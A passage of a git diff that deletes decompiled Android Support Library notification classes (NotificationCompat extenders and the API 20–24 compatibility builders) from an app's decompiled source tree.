setHintContentIntentLaunchesActivity(boolean z) { - setFlag(64, z); - return this; - } - - public boolean getHintContentIntentLaunchesActivity() { - return (this.mFlags & 64) != 0; - } - - public WearableExtender setDismissalId(String str) { - this.mDismissalId = str; - return this; - } - - public String getDismissalId() { - return this.mDismissalId; - } - - private void setFlag(int i, boolean z) { - if (z) { - this.mFlags = i | this.mFlags; - return; - } - this.mFlags = (~i) & this.mFlags; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class CarExtender implements Extender { - private static final String EXTRA_CAR_EXTENDER = "android.car.EXTENSIONS"; - private static final String EXTRA_COLOR = "app_color"; - private static final String EXTRA_CONVERSATION = "car_conversation"; - private static final String EXTRA_LARGE_ICON = "large_icon"; - private static final String TAG = "CarExtender"; - private int mColor; - private Bitmap mLargeIcon; - private UnreadConversation mUnreadConversation; - - public CarExtender() { - this.mColor = 0; - } - - public CarExtender(Notification notification) { - this.mColor = 0; - Bundle bundle = NotificationCompat.getExtras(notification) == null ? null : NotificationCompat.getExtras(notification).getBundle(EXTRA_CAR_EXTENDER); - if (bundle != null) { - this.mLargeIcon = (Bitmap) bundle.getParcelable(EXTRA_LARGE_ICON); - this.mColor = bundle.getInt(EXTRA_COLOR, 0); - this.mUnreadConversation = (UnreadConversation) NotificationCompat.IMPL.getUnreadConversationFromBundle(bundle.getBundle(EXTRA_CONVERSATION), UnreadConversation.FACTORY, RemoteInput.FACTORY); - } - } - - @Override // android.support.v4.app.NotificationCompat.Extender - public Builder extend(Builder builder) { - Bundle bundle = new Bundle(); - Bitmap bitmap = this.mLargeIcon; - if (bitmap != null) { - bundle.putParcelable(EXTRA_LARGE_ICON, bitmap); - } - int i = this.mColor; - if (i != 0) { - bundle.putInt(EXTRA_COLOR, i); - } - if (this.mUnreadConversation != null) { - bundle.putBundle(EXTRA_CONVERSATION, NotificationCompat.IMPL.getBundleForUnreadConversation(this.mUnreadConversation)); - } - builder.getExtras().putBundle(EXTRA_CAR_EXTENDER, bundle); - return builder; - } - - public CarExtender setColor(int i) { - this.mColor = i; - return this; - } - - public int getColor() { - return this.mColor; - } - - public CarExtender setLargeIcon(Bitmap bitmap) { - this.mLargeIcon = bitmap; - return this; - } - - public Bitmap getLargeIcon() { - return this.mLargeIcon; - } - - public CarExtender setUnreadConversation(UnreadConversation unreadConversation) { - this.mUnreadConversation = unreadConversation; - return this; - } - - public UnreadConversation getUnreadConversation() { - return this.mUnreadConversation; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class UnreadConversation extends NotificationCompatBase.UnreadConversation { - static final NotificationCompatBase.UnreadConversation.Factory FACTORY = new NotificationCompatBase.UnreadConversation.Factory() { // from class: android.support.v4.app.NotificationCompat.CarExtender.UnreadConversation.1 - @Override // android.support.v4.app.NotificationCompatBase.UnreadConversation.Factory - public UnreadConversation build(String[] strArr, RemoteInputCompatBase.RemoteInput remoteInput, PendingIntent pendingIntent, PendingIntent pendingIntent2, String[] strArr2, long j) { - return new UnreadConversation(strArr, (RemoteInput) remoteInput, pendingIntent, pendingIntent2, strArr2, j); - } - }; - private final long mLatestTimestamp; - private final String[] mMessages; - private final String[] mParticipants; - private final PendingIntent mReadPendingIntent; - private final RemoteInput mRemoteInput; - private final PendingIntent mReplyPendingIntent; - - UnreadConversation(String[] strArr, RemoteInput remoteInput, PendingIntent pendingIntent, PendingIntent pendingIntent2, String[] strArr2, long j) { - this.mMessages = strArr; - this.mRemoteInput = remoteInput; - this.mReadPendingIntent = pendingIntent2; - this.mReplyPendingIntent = pendingIntent; - this.mParticipants = strArr2; - this.mLatestTimestamp = j; - } - - @Override // android.support.v4.app.NotificationCompatBase.UnreadConversation - public String[] getMessages() { - return this.mMessages; - } - - @Override // android.support.v4.app.NotificationCompatBase.UnreadConversation - public RemoteInput getRemoteInput() { - return this.mRemoteInput; - } - - @Override // android.support.v4.app.NotificationCompatBase.UnreadConversation - public PendingIntent getReplyPendingIntent() { - return this.mReplyPendingIntent; - } - - @Override // android.support.v4.app.NotificationCompatBase.UnreadConversation - public PendingIntent getReadPendingIntent() { - return this.mReadPendingIntent; - } - - @Override // android.support.v4.app.NotificationCompatBase.UnreadConversation - public String[] getParticipants() { - return this.mParticipants; - } - - @Override // android.support.v4.app.NotificationCompatBase.UnreadConversation - public String getParticipant() { - String[] strArr = this.mParticipants; - if (strArr.length > 0) { - return strArr[0]; - } - return null; - } - - @Override // android.support.v4.app.NotificationCompatBase.UnreadConversation - public long getLatestTimestamp() { - return this.mLatestTimestamp; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder { - private long mLatestTimestamp; - private final List mMessages = new ArrayList(); - private final String mParticipant; - private PendingIntent mReadPendingIntent; - private RemoteInput mRemoteInput; - private PendingIntent mReplyPendingIntent; - - public Builder(String str) { - this.mParticipant = str; - } - - public Builder addMessage(String str) { - this.mMessages.add(str); - return this; - } - - public Builder setReplyAction(PendingIntent pendingIntent, RemoteInput remoteInput) { - this.mRemoteInput = remoteInput; - this.mReplyPendingIntent = pendingIntent; - return this; - } - - public Builder setReadPendingIntent(PendingIntent pendingIntent) { - this.mReadPendingIntent = pendingIntent; - return this; - } - - public Builder setLatestTimestamp(long j) { - this.mLatestTimestamp = j; - return this; - } - - public UnreadConversation build() { - List list = this.mMessages; - return new UnreadConversation((String[]) list.toArray(new String[list.size()]), this.mRemoteInput, this.mReplyPendingIntent, this.mReadPendingIntent, new String[]{this.mParticipant}, this.mLatestTimestamp); - } - } - } - } - - static Notification[] getNotificationArrayFromBundle(Bundle bundle, String str) { - Parcelable[] parcelableArray = bundle.getParcelableArray(str); - if ((parcelableArray instanceof Notification[]) || parcelableArray == null) { - return (Notification[]) parcelableArray; - } - Notification[] notificationArr = new Notification[parcelableArray.length]; - for (int i = 0; i < parcelableArray.length; i++) { - notificationArr[i] = (Notification) parcelableArray[i]; - } - bundle.putParcelableArray(str, notificationArr); - return notificationArr; - } - - public static Bundle getExtras(Notification notification) { - return IMPL.getExtras(notification); - } - - public static int getActionCount(Notification notification) { - return IMPL.getActionCount(notification); - } - - public static Action getAction(Notification notification, int i) { - return IMPL.getAction(notification, i); - } - - public static String getCategory(Notification notification) { - return IMPL.getCategory(notification); - } - - public static boolean getLocalOnly(Notification notification) { - return IMPL.getLocalOnly(notification); - } - - public static String getGroup(Notification notification) { - return IMPL.getGroup(notification); - } - - public static boolean isGroupSummary(Notification notification) { - return IMPL.isGroupSummary(notification); - } - - public static String getSortKey(Notification notification) { - return IMPL.getSortKey(notification); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi20.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi20.java deleted file mode 100644 index fe6568d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi20.java +++ /dev/null @@ -1,148 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.os.Bundle; -import android.os.Parcelable; -import android.support.v4.app.NotificationCompatBase; -import android.support.v4.app.RemoteInputCompatBase; -import android.widget.RemoteViews; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationCompatApi20 { - NotificationCompatApi20() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions { - private Notification.Builder b; - private RemoteViews mBigContentView; - private RemoteViews mContentView; - private Bundle mExtras; - - public Builder(Context context, Notification notification, CharSequence charSequence, CharSequence charSequence2, CharSequence charSequence3, RemoteViews remoteViews, int i, PendingIntent pendingIntent, PendingIntent pendingIntent2, Bitmap bitmap, int i2, int i3, boolean z, boolean z2, boolean z3, int i4, CharSequence charSequence4, boolean z4, ArrayList arrayList, Bundle bundle, String str, boolean z5, String str2, RemoteViews remoteViews2, RemoteViews remoteViews3) { - PendingIntent pendingIntent3; - boolean z6 = true; - Notification.Builder deleteIntent = new Notification.Builder(context).setWhen(notification.when).setShowWhen(z2).setSmallIcon(notification.icon, notification.iconLevel).setContent(notification.contentView).setTicker(notification.tickerText, remoteViews).setSound(notification.sound, notification.audioStreamType).setVibrate(notification.vibrate).setLights(notification.ledARGB, notification.ledOnMS, notification.ledOffMS).setOngoing((notification.flags & 2) != 0).setOnlyAlertOnce((notification.flags & 8) != 0).setAutoCancel((notification.flags & 16) != 0).setDefaults(notification.defaults).setContentTitle(charSequence).setContentText(charSequence2).setSubText(charSequence4).setContentInfo(charSequence3).setContentIntent(pendingIntent).setDeleteIntent(notification.deleteIntent); - if ((notification.flags & 128) != 0) { - pendingIntent3 = pendingIntent2; - } else { - pendingIntent3 = pendingIntent2; - z6 = false; - } - this.b = deleteIntent.setFullScreenIntent(pendingIntent3, z6).setLargeIcon(bitmap).setNumber(i).setUsesChronometer(z3).setPriority(i4).setProgress(i2, i3, z).setLocalOnly(z4).setGroup(str).setGroupSummary(z5).setSortKey(str2); - Bundle bundle2 = new Bundle(); - this.mExtras = bundle2; - if (bundle != null) { - bundle2.putAll(bundle); - } - if (arrayList != null && !arrayList.isEmpty()) { - this.mExtras.putStringArray(NotificationCompat.EXTRA_PEOPLE, (String[]) arrayList.toArray(new String[arrayList.size()])); - } - this.mContentView = remoteViews2; - this.mBigContentView = remoteViews3; - } - - @Override // android.support.v4.app.NotificationBuilderWithActions - public void addAction(NotificationCompatBase.Action action) { - NotificationCompatApi20.addAction(this.b, action); - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification.Builder getBuilder() { - return this.b; - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification build() { - this.b.setExtras(this.mExtras); - Notification build = this.b.build(); - RemoteViews remoteViews = this.mContentView; - if (remoteViews != null) { - build.contentView = remoteViews; - } - RemoteViews remoteViews2 = this.mBigContentView; - if (remoteViews2 != null) { - build.bigContentView = remoteViews2; - } - return build; - } - } - - public static void addAction(Notification.Builder builder, NotificationCompatBase.Action action) { - Bundle bundle; - Notification.Action.Builder builder2 = new Notification.Action.Builder(action.getIcon(), action.getTitle(), action.getActionIntent()); - if (action.getRemoteInputs() != null) { - for (android.app.RemoteInput remoteInput : RemoteInputCompatApi20.fromCompat(action.getRemoteInputs())) { - builder2.addRemoteInput(remoteInput); - } - } - if (action.getExtras() != null) { - bundle = new Bundle(action.getExtras()); - } else { - bundle = new Bundle(); - } - bundle.putBoolean("android.support.allowGeneratedReplies", action.getAllowGeneratedReplies()); - builder2.addExtras(bundle); - builder.addAction(builder2.build()); - } - - public static NotificationCompatBase.Action getAction(Notification notification, int i, NotificationCompatBase.Action.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - return getActionCompatFromAction(notification.actions[i], factory, factory2); - } - - private static NotificationCompatBase.Action getActionCompatFromAction(Notification.Action action, NotificationCompatBase.Action.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - return factory.build(action.icon, action.title, action.actionIntent, action.getExtras(), RemoteInputCompatApi20.toCompat(action.getRemoteInputs(), factory2), action.getExtras().getBoolean("android.support.allowGeneratedReplies")); - } - - private static Notification.Action getActionFromActionCompat(NotificationCompatBase.Action action) { - Notification.Action.Builder addExtras = new Notification.Action.Builder(action.getIcon(), action.getTitle(), action.getActionIntent()).addExtras(action.getExtras()); - RemoteInputCompatBase.RemoteInput[] remoteInputs = action.getRemoteInputs(); - if (remoteInputs != null) { - for (android.app.RemoteInput remoteInput : RemoteInputCompatApi20.fromCompat(remoteInputs)) { - addExtras.addRemoteInput(remoteInput); - } - } - return addExtras.build(); - } - - public static NotificationCompatBase.Action[] getActionsFromParcelableArrayList(ArrayList arrayList, NotificationCompatBase.Action.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - if (arrayList == null) { - return null; - } - NotificationCompatBase.Action[] newArray = factory.newArray(arrayList.size()); - for (int i = 0; i < newArray.length; i++) { - newArray[i] = getActionCompatFromAction((Notification.Action) arrayList.get(i), factory, factory2); - } - return newArray; - } - - public static ArrayList getParcelableArrayListForActions(NotificationCompatBase.Action[] actionArr) { - if (actionArr == null) { - return null; - } - ArrayList arrayList = new ArrayList<>(actionArr.length); - for (NotificationCompatBase.Action action : actionArr) { - arrayList.add(getActionFromActionCompat(action)); - } - return arrayList; - } - - public static boolean getLocalOnly(Notification notification) { - return (notification.flags & 256) != 0; - } - - public static String getGroup(Notification notification) { - return notification.getGroup(); - } - - public static boolean isGroupSummary(Notification notification) { - return (notification.flags & 512) != 0; - } - - public static String getSortKey(Notification notification) { - return notification.getSortKey(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi21.java deleted file mode 100644 index 23aa08e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi21.java +++ /dev/null @@ -1,181 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.app.RemoteInput; -import android.content.Context; -import android.graphics.Bitmap; -import android.os.Bundle; -import android.os.Parcelable; -import android.support.v4.app.NotificationCompatBase; -import android.support.v4.app.RemoteInputCompatBase; -import android.widget.RemoteViews; -import java.util.ArrayList; -import java.util.Iterator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationCompatApi21 { - public static final String CATEGORY_ALARM = "alarm"; - public static final String CATEGORY_CALL = "call"; - public static final String CATEGORY_EMAIL = "email"; - public static final String CATEGORY_ERROR = "err"; - public static final String CATEGORY_EVENT = "event"; - public static final String CATEGORY_MESSAGE = "msg"; - public static final String CATEGORY_PROGRESS = "progress"; - public static final String CATEGORY_PROMO = "promo"; - public static final String CATEGORY_RECOMMENDATION = "recommendation"; - public static final String CATEGORY_SERVICE = "service"; - public static final String CATEGORY_SOCIAL = "social"; - public static final String CATEGORY_STATUS = "status"; - public static final String CATEGORY_SYSTEM = "sys"; - public static final String CATEGORY_TRANSPORT = "transport"; - private static final String KEY_AUTHOR = "author"; - private static final String KEY_MESSAGES = "messages"; - private static final String KEY_ON_READ = "on_read"; - private static final String KEY_ON_REPLY = "on_reply"; - private static final String KEY_PARTICIPANTS = "participants"; - private static final String KEY_REMOTE_INPUT = "remote_input"; - private static final String KEY_TEXT = "text"; - private static final String KEY_TIMESTAMP = "timestamp"; - - NotificationCompatApi21() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions { - private Notification.Builder b; - private RemoteViews mBigContentView; - private RemoteViews mContentView; - private Bundle mExtras; - private RemoteViews mHeadsUpContentView; - - public Builder(Context context, Notification notification, CharSequence charSequence, CharSequence charSequence2, CharSequence charSequence3, RemoteViews remoteViews, int i, PendingIntent pendingIntent, PendingIntent pendingIntent2, Bitmap bitmap, int i2, int i3, boolean z, boolean z2, boolean z3, int i4, CharSequence charSequence4, boolean z4, String str, ArrayList arrayList, Bundle bundle, int i5, int i6, Notification notification2, String str2, boolean z5, String str3, RemoteViews remoteViews2, RemoteViews remoteViews3, RemoteViews remoteViews4) { - PendingIntent pendingIntent3; - boolean z6 = true; - Notification.Builder deleteIntent = new Notification.Builder(context).setWhen(notification.when).setShowWhen(z2).setSmallIcon(notification.icon, notification.iconLevel).setContent(notification.contentView).setTicker(notification.tickerText, remoteViews).setSound(notification.sound, notification.audioStreamType).setVibrate(notification.vibrate).setLights(notification.ledARGB, notification.ledOnMS, notification.ledOffMS).setOngoing((notification.flags & 2) != 0).setOnlyAlertOnce((notification.flags & 8) != 0).setAutoCancel((notification.flags & 16) != 0).setDefaults(notification.defaults).setContentTitle(charSequence).setContentText(charSequence2).setSubText(charSequence4).setContentInfo(charSequence3).setContentIntent(pendingIntent).setDeleteIntent(notification.deleteIntent); - if ((notification.flags & 128) != 0) { - pendingIntent3 = pendingIntent2; - } else { - pendingIntent3 = pendingIntent2; - z6 = false; - } - this.b = deleteIntent.setFullScreenIntent(pendingIntent3, z6).setLargeIcon(bitmap).setNumber(i).setUsesChronometer(z3).setPriority(i4).setProgress(i2, i3, z).setLocalOnly(z4).setGroup(str2).setGroupSummary(z5).setSortKey(str3).setCategory(str).setColor(i5).setVisibility(i6).setPublicVersion(notification2); - Bundle bundle2 = new Bundle(); - this.mExtras = bundle2; - if (bundle != null) { - bundle2.putAll(bundle); - } - Iterator it = arrayList.iterator(); - while (it.hasNext()) { - this.b.addPerson(it.next()); - } - this.mContentView = remoteViews2; - this.mBigContentView = remoteViews3; - this.mHeadsUpContentView = remoteViews4; - } - - @Override // android.support.v4.app.NotificationBuilderWithActions - public void addAction(NotificationCompatBase.Action action) { - NotificationCompatApi20.addAction(this.b, action); - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification.Builder getBuilder() { - return this.b; - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification build() { - this.b.setExtras(this.mExtras); - Notification build = this.b.build(); - RemoteViews remoteViews = this.mContentView; - if (remoteViews != null) { - build.contentView = remoteViews; - } - RemoteViews remoteViews2 = this.mBigContentView; - if (remoteViews2 != null) { - build.bigContentView = remoteViews2; - } - RemoteViews remoteViews3 = this.mHeadsUpContentView; - if (remoteViews3 != null) { - build.headsUpContentView = remoteViews3; - } - return build; - } - } - - public static String getCategory(Notification notification) { - return notification.category; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Bundle getBundleForUnreadConversation(NotificationCompatBase.UnreadConversation unreadConversation) { - String str = null; - if (unreadConversation == null) { - return null; - } - Bundle bundle = new Bundle(); - if (unreadConversation.getParticipants() != null && unreadConversation.getParticipants().length > 1) { - str = unreadConversation.getParticipants()[0]; - } - int length = unreadConversation.getMessages().length; - Parcelable[] parcelableArr = new Parcelable[length]; - for (int i = 0; i < length; i++) { - Bundle bundle2 = new Bundle(); - bundle2.putString(KEY_TEXT, unreadConversation.getMessages()[i]); - bundle2.putString(KEY_AUTHOR, str); - parcelableArr[i] = bundle2; - } - bundle.putParcelableArray(KEY_MESSAGES, parcelableArr); - RemoteInputCompatBase.RemoteInput remoteInput = unreadConversation.getRemoteInput(); - if (remoteInput != null) { - bundle.putParcelable(KEY_REMOTE_INPUT, fromCompatRemoteInput(remoteInput)); - } - bundle.putParcelable(KEY_ON_REPLY, unreadConversation.getReplyPendingIntent()); - bundle.putParcelable(KEY_ON_READ, unreadConversation.getReadPendingIntent()); - bundle.putStringArray(KEY_PARTICIPANTS, unreadConversation.getParticipants()); - bundle.putLong(KEY_TIMESTAMP, unreadConversation.getLatestTimestamp()); - return bundle; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static NotificationCompatBase.UnreadConversation getUnreadConversationFromBundle(Bundle bundle, NotificationCompatBase.UnreadConversation.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - String[] strArr; - if (bundle == null) { - return null; - } - Parcelable[] parcelableArray = bundle.getParcelableArray(KEY_MESSAGES); - if (parcelableArray != null) { - int length = parcelableArray.length; - String[] strArr2 = new String[length]; - for (int i = 0; i < length; i++) { - Parcelable parcelable = parcelableArray[i]; - if (parcelable instanceof Bundle) { - String string = ((Bundle) parcelable).getString(KEY_TEXT); - strArr2[i] = string; - if (string != null) { - } - } - return null; - } - strArr = strArr2; - } else { - strArr = null; - } - PendingIntent pendingIntent = (PendingIntent) bundle.getParcelable(KEY_ON_READ); - PendingIntent pendingIntent2 = (PendingIntent) bundle.getParcelable(KEY_ON_REPLY); - android.app.RemoteInput remoteInput = (android.app.RemoteInput) bundle.getParcelable(KEY_REMOTE_INPUT); - String[] stringArray = bundle.getStringArray(KEY_PARTICIPANTS); - if (stringArray == null || stringArray.length != 1) { - return null; - } - return factory.build(strArr, remoteInput != null ? toCompatRemoteInput(remoteInput, factory2) : null, pendingIntent2, pendingIntent, stringArray, bundle.getLong(KEY_TIMESTAMP)); - } - - private static android.app.RemoteInput fromCompatRemoteInput(RemoteInputCompatBase.RemoteInput remoteInput) { - return new RemoteInput.Builder(remoteInput.getResultKey()).setLabel(remoteInput.getLabel()).setChoices(remoteInput.getChoices()).setAllowFreeFormInput(remoteInput.getAllowFreeFormInput()).addExtras(remoteInput.getExtras()).build(); - } - - private static RemoteInputCompatBase.RemoteInput toCompatRemoteInput(android.app.RemoteInput remoteInput, RemoteInputCompatBase.RemoteInput.Factory factory) { - return factory.build(remoteInput.getResultKey(), remoteInput.getLabel(), remoteInput.getChoices(), remoteInput.getAllowFreeFormInput(), remoteInput.getExtras()); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi23.java deleted file mode 100644 index 7d92ea5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi23.java +++ /dev/null @@ -1,8 +0,0 @@ -package android.support.v4.app; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationCompatApi23 { - public static final String CATEGORY_REMINDER = "reminder"; - - NotificationCompatApi23() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi24.java deleted file mode 100644 index 417a28b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatApi24.java +++ /dev/null @@ -1,107 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.net.Uri; -import android.os.Bundle; -import android.support.v4.app.NotificationCompatBase; -import android.widget.RemoteViews; -import java.util.ArrayList; -import java.util.Iterator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationCompatApi24 { - public static final String CATEGORY_ALARM = "alarm"; - public static final String CATEGORY_CALL = "call"; - public static final String CATEGORY_EMAIL = "email"; - public static final String CATEGORY_ERROR = "err"; - public static final String CATEGORY_EVENT = "event"; - public static final String CATEGORY_MESSAGE = "msg"; - public static final String CATEGORY_PROGRESS = "progress"; - public static final String CATEGORY_PROMO = "promo"; - public static final String CATEGORY_RECOMMENDATION = "recommendation"; - public static final String CATEGORY_SERVICE = "service"; - public static final String CATEGORY_SOCIAL = "social"; - public static final String CATEGORY_STATUS = "status"; - public static final String CATEGORY_SYSTEM = "sys"; - public static final String CATEGORY_TRANSPORT = "transport"; - - NotificationCompatApi24() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions { - private Notification.Builder b; - - public Builder(Context context, Notification notification, CharSequence charSequence, CharSequence charSequence2, CharSequence charSequence3, RemoteViews remoteViews, int i, PendingIntent pendingIntent, PendingIntent pendingIntent2, Bitmap bitmap, int i2, int i3, boolean z, boolean z2, boolean z3, int i4, CharSequence charSequence4, boolean z4, String str, ArrayList arrayList, Bundle bundle, int i5, int i6, Notification notification2, String str2, boolean z5, String str3, CharSequence[] charSequenceArr, RemoteViews remoteViews2, RemoteViews remoteViews3, RemoteViews remoteViews4) { - PendingIntent pendingIntent3; - boolean z6 = true; - Notification.Builder deleteIntent = new Notification.Builder(context).setWhen(notification.when).setShowWhen(z2).setSmallIcon(notification.icon, notification.iconLevel).setContent(notification.contentView).setTicker(notification.tickerText, remoteViews).setSound(notification.sound, notification.audioStreamType).setVibrate(notification.vibrate).setLights(notification.ledARGB, notification.ledOnMS, notification.ledOffMS).setOngoing((notification.flags & 2) != 0).setOnlyAlertOnce((notification.flags & 8) != 0).setAutoCancel((notification.flags & 16) != 0).setDefaults(notification.defaults).setContentTitle(charSequence).setContentText(charSequence2).setSubText(charSequence4).setContentInfo(charSequence3).setContentIntent(pendingIntent).setDeleteIntent(notification.deleteIntent); - if ((notification.flags & 128) != 0) { - pendingIntent3 = pendingIntent2; - } else { - pendingIntent3 = pendingIntent2; - z6 = false; - } - Notification.Builder remoteInputHistory = deleteIntent.setFullScreenIntent(pendingIntent3, z6).setLargeIcon(bitmap).setNumber(i).setUsesChronometer(z3).setPriority(i4).setProgress(i2, i3, z).setLocalOnly(z4).setExtras(bundle).setGroup(str2).setGroupSummary(z5).setSortKey(str3).setCategory(str).setColor(i5).setVisibility(i6).setPublicVersion(notification2).setRemoteInputHistory(charSequenceArr); - this.b = remoteInputHistory; - if (remoteViews2 != null) { - remoteInputHistory.setCustomContentView(remoteViews2); - } - if (remoteViews3 != null) { - this.b.setCustomBigContentView(remoteViews3); - } - if (remoteViews4 != null) { - this.b.setCustomHeadsUpContentView(remoteViews4); - } - Iterator it = arrayList.iterator(); - while (it.hasNext()) { - this.b.addPerson(it.next()); - } - } - - @Override // android.support.v4.app.NotificationBuilderWithActions - public void addAction(NotificationCompatBase.Action action) { - Bundle bundle; - Notification.Action.Builder builder = new Notification.Action.Builder(action.getIcon(), action.getTitle(), action.getActionIntent()); - if (action.getRemoteInputs() != null) { - for (android.app.RemoteInput remoteInput : RemoteInputCompatApi20.fromCompat(action.getRemoteInputs())) { - builder.addRemoteInput(remoteInput); - } - } - if (action.getExtras() != null) { - bundle = new Bundle(action.getExtras()); - } else { - bundle = new Bundle(); - } - bundle.putBoolean("android.support.allowGeneratedReplies", action.getAllowGeneratedReplies()); - builder.addExtras(bundle); - builder.setAllowGeneratedReplies(action.getAllowGeneratedReplies()); - this.b.addAction(builder.build()); - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification.Builder getBuilder() { - return this.b; - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification build() { - return this.b.build(); - } - } - - public static void addMessagingStyle(NotificationBuilderWithBuilderAccessor notificationBuilderWithBuilderAccessor, CharSequence charSequence, CharSequence charSequence2, List list, List list2, List list3, List list4, List list5) { - Notification.MessagingStyle conversationTitle = new Notification.MessagingStyle(charSequence).setConversationTitle(charSequence2); - for (int i = 0; i < list.size(); i++) { - Notification.MessagingStyle.Message message = new Notification.MessagingStyle.Message(list.get(i), list2.get(i).longValue(), list3.get(i)); - if (list4.get(i) != null) { - message.setData(list4.get(i), list5.get(i)); - } - conversationTitle.addMessage(message); - } - conversationTitle.setBuilder(notificationBuilderWithBuilderAccessor.getBuilder()); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatBase.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatBase.java deleted file mode 100644 index f92ff01..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatBase.java +++ /dev/null @@ -1,68 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.content.Context; -import android.os.Bundle; -import android.support.v4.app.RemoteInputCompatBase; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class NotificationCompatBase { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Action { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Factory { - Action build(int i, CharSequence charSequence, PendingIntent pendingIntent, Bundle bundle, RemoteInputCompatBase.RemoteInput[] remoteInputArr, boolean z); - - Action[] newArray(int i); - } - - public abstract PendingIntent getActionIntent(); - - public abstract boolean getAllowGeneratedReplies(); - - public abstract Bundle getExtras(); - - public abstract int getIcon(); - - public abstract RemoteInputCompatBase.RemoteInput[] getRemoteInputs(); - - public abstract CharSequence getTitle(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class UnreadConversation { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Factory { - UnreadConversation build(String[] strArr, RemoteInputCompatBase.RemoteInput remoteInput, PendingIntent pendingIntent, PendingIntent pendingIntent2, String[] strArr2, long j); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public abstract long getLatestTimestamp(); - - /* JADX INFO: Access modifiers changed from: package-private */ - public abstract String[] getMessages(); - - abstract String getParticipant(); - - /* JADX INFO: Access modifiers changed from: package-private */ - public abstract String[] getParticipants(); - - /* JADX INFO: Access modifiers changed from: package-private */ - public abstract PendingIntent getReadPendingIntent(); - - /* JADX INFO: Access modifiers changed from: package-private */ - public abstract RemoteInputCompatBase.RemoteInput getRemoteInput(); - - /* JADX INFO: Access modifiers changed from: package-private */ - public abstract PendingIntent getReplyPendingIntent(); - } - - public static Notification add(Notification notification, Context context, CharSequence charSequence, CharSequence charSequence2, PendingIntent pendingIntent, PendingIntent pendingIntent2) { - notification.setLatestEventInfo(context, charSequence, charSequence2, pendingIntent); - notification.fullScreenIntent = pendingIntent2; - return notification; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatExtras.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatExtras.java deleted file mode 100644 index 5d8955c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatExtras.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.app; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class NotificationCompatExtras { - public static final String EXTRA_ACTION_EXTRAS = "android.support.actionExtras"; - public static final String EXTRA_GROUP_KEY = "android.support.groupKey"; - public static final String EXTRA_GROUP_SUMMARY = "android.support.isGroupSummary"; - public static final String EXTRA_LOCAL_ONLY = "android.support.localOnly"; - public static final String EXTRA_REMOTE_INPUTS = "android.support.remoteInputs"; - public static final String EXTRA_SORT_KEY = "android.support.sortKey"; - - private NotificationCompatExtras() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatHoneycomb.java deleted file mode 100644 index 1d18244..0000000 --- 